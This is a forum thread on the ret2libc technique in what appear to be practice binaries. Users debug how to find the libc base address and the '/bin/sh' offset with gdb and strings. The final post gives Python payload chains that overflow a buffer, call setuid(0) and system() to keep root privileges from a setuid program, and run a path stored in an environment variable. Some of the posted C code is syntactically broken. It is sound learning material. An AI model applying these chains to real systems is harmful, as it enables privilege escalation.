Exploiting Techniques \000 - ret2libc

When finding libc_base, I typed in vmmap libc into GDB after running the program and breaking on main and there were a few entries so i just took one of them and added the address to the offset of “/bin/sh” to obtain an address for “/bin/sh” in libc.

I’m still unable to get the exploit working.

After jumping into system():

I said libc base. You can’t just take whatever entry, you need to take the 1st one.

Hi @WhiteCollar

The system function actually executes /bin/sh -c command (see the man page). An sh: 1 something means that you have successfully called system but with the wrong parameter. Whatever follows the sh: 1 is what you have tried to execute… that may be non-printable garbage.

Said that, at first glance, it looks like everything is in place except the pointer to /bin/sh. To get it you can either do as @IoTh1nkN0t did (add it into the stack as part of the string you are entering and then push the appropriate pointer in your payload) or use the trick that @_py indicated to get the string from libc at a fixed offset. I have to said that, just using strings, didn’t work for me. The offset I need is different of the one reported by strings (strings reports the file offset depending how your sections are mapped it may be different to the memory offset… that does not happen with code whose file offset is usually 0).

So I wrote a small program to get the data I need for my current setup:

#include <stdio.h>
#include <string.h>

// FIXME: Get size from the ELF 
//        Actually it should be fine to just search the .rodata section
#define SIZE  0x1fffff 

int main ()
  unsigned char *ptr, *ptr2;

  printf ("Libc base address: ");
  scanf ("%p", &ptr);
  ptr2 = ptr;
  printf ("Looking for '/bin/sh'...");
  for (;ptr < ptr2 + SIZE; ptr++)
    if (!strncmp (ptr, "/bin/sh\0", 7))
	printf("Found at %p %x (%s)\n", ptr, ptr - ptr2, ptr);

For this post, that uses 32bits binaries I compiled with:

gcc -m32 -o slibc slibc.c

The output from this tool on my system is: ( 0xf7e0d000 comes from ldd)

$ ./slibc
Libc base address: 0xf7e0d000
Looking for '/bin/sh'...Found at 0xf7f4ecec 141cec (/bin/sh)
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 162cec /bin/sh

Then using the address reported by the tool should work. At least, it worked for me.

Also note that you are running a PIE which may have a slightly different stack layout. In my tests I had to add 4 bytes to the ‘A’ strings to get the exploit working with the PIE version. You can disable pie with the flag ‘-no-pie’. Check with file to be sure you disabled it.


Slightly off-topic. But couldn’t resist :smiley:

Remember kids: If something doesn’t work with the tools provided, built your own.

  • keeps your scripting/programming knowledge up2date
  • implants used knowledge even deeper
  • coolness factor+1

Just fits perfectly after reading through PoC||GTFO right now and seeing the following all over it:

Just built your own god damn birdfeeder


Either something is up with your system, or what’s more likely is that there is more than one occurrence of /bin/sh and strings outputs the latter offset for some weird reason (?).

PoC (x86_64 but doesn’t matter):

>> strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
18cd17 /bin/sh

gef➤ vmmap libc
Start              End                Offset             Perm Path
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
gef➤ x/s 0x00007ffff7a0d000 + 0x18cd17
0x7ffff7b99d17:	"/bin/sh"

Anyway the strings issue can be discussed on IRC. Unless @WhiteCollar has further questions this thread will close soon.


Hi @_py,

Just for anyone that is following the thread.

There is one single "/bin/sh" on my libc, otherwise, strings should had shown all of them. What you said is perfectly fine and my system is OK ;). It was may bad that I assume you were using the output of ldd as libc_base (that is what didn’t work for me) but you clearly said to use gdb and vmmap. A sentence that, for some reason, I filtered out.

I did the check and the offset produced in both cases is the same, however I have to admit that my little tool is a bit ad-hoc and probably won’t work for the general case.

Thanks for the clarification @_py


hi there, a quick note about the use of environment variables and setuid() call on 32bit app/OS.
we should already know that bash drop privs if not invoked with -p, but i also found that on most of my linuxes i loose suid privs when calling libc system().

let’s split this post in two part, the first task is to execute a path from env while the second task is to get back uid(0).

sometimes you don’t want, or can’t, spawn a shell but prefer to run another program or script, let’s call it /tmp/runme
libc gadgets’ are endless, but i bet you won’t find /tmp/runme anywhere, and here we can use the good ol’ environment to store the string.

what we do is

export RUNME=/tmp/runme

if you google, you will surely found other example with more leading slashes because it can help to avoid wrong address, but we don’t really need it

now using any getenv like:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
if(argc < 3) {
printf(“Usage: %s <environ_var> <target_program>\n”, argv[0]);

char *addr_ptr;
addr_ptr = getenv(argv[1]);
addr_ptr+= getenv(strlen(argv[0]) - strlen(argv[2]))*2;

if(addr_ptr == NULL) {
printf(“Environmental variable %s does not exist!\n”, argv[1]);

printf("%s is stored at address %p\n", argv[1], addr_ptr);

we should find the address of our env var in memory:

$ ./getenv RUNME stack6
RUNME will be at 0xffffdf20
also gdb can be used to address the same job using something like x/10s *((char **)environ), but gdb adds his own variable and the offset is slightly different.
kept note that getenv finds RUNME at 0xbffff736, we place this address in runme var to get a mnemonic value.

we now build our payload like:

p = ‘A’*50 # arbitrary offset to achieve a stack overflow
p+= p32(system)
p+= p32(exit) # we like to keep it as clean as possible
p+= p32(runme)

and we will see your /tmp/runme executed.
as i said before, i got stuck as uid(1000) too many times recently and i wanted to get back my beloved uid(0).

we can see lot of examples online about shellcodes that setuid/setruid but i started this with libc in mind and i wanted to finish in libc, so i used setuid().

and here is the second part, where we take our basic ret2libc and get it somewhere close to ROP to keep our privs.
we indeed will use a pop ret instruction, pop ebp in this example to feed the call.
we should be able to find setuid() call address in libc like we did for system() and exit() call, we just have to build our chain like this:

p = ‘A’*50 # arbitrary offset to achieve a stack overflow
p+= p32(setuid)
p+= p32(popret) # pop ebp; ret
p+= “\x00\x00\x00\x00”
p+= p32(system)
p+= p32(exit) # we like to keep it as clean as possible
p+= p32(runme)

and we’re now uid(0) again

1 Like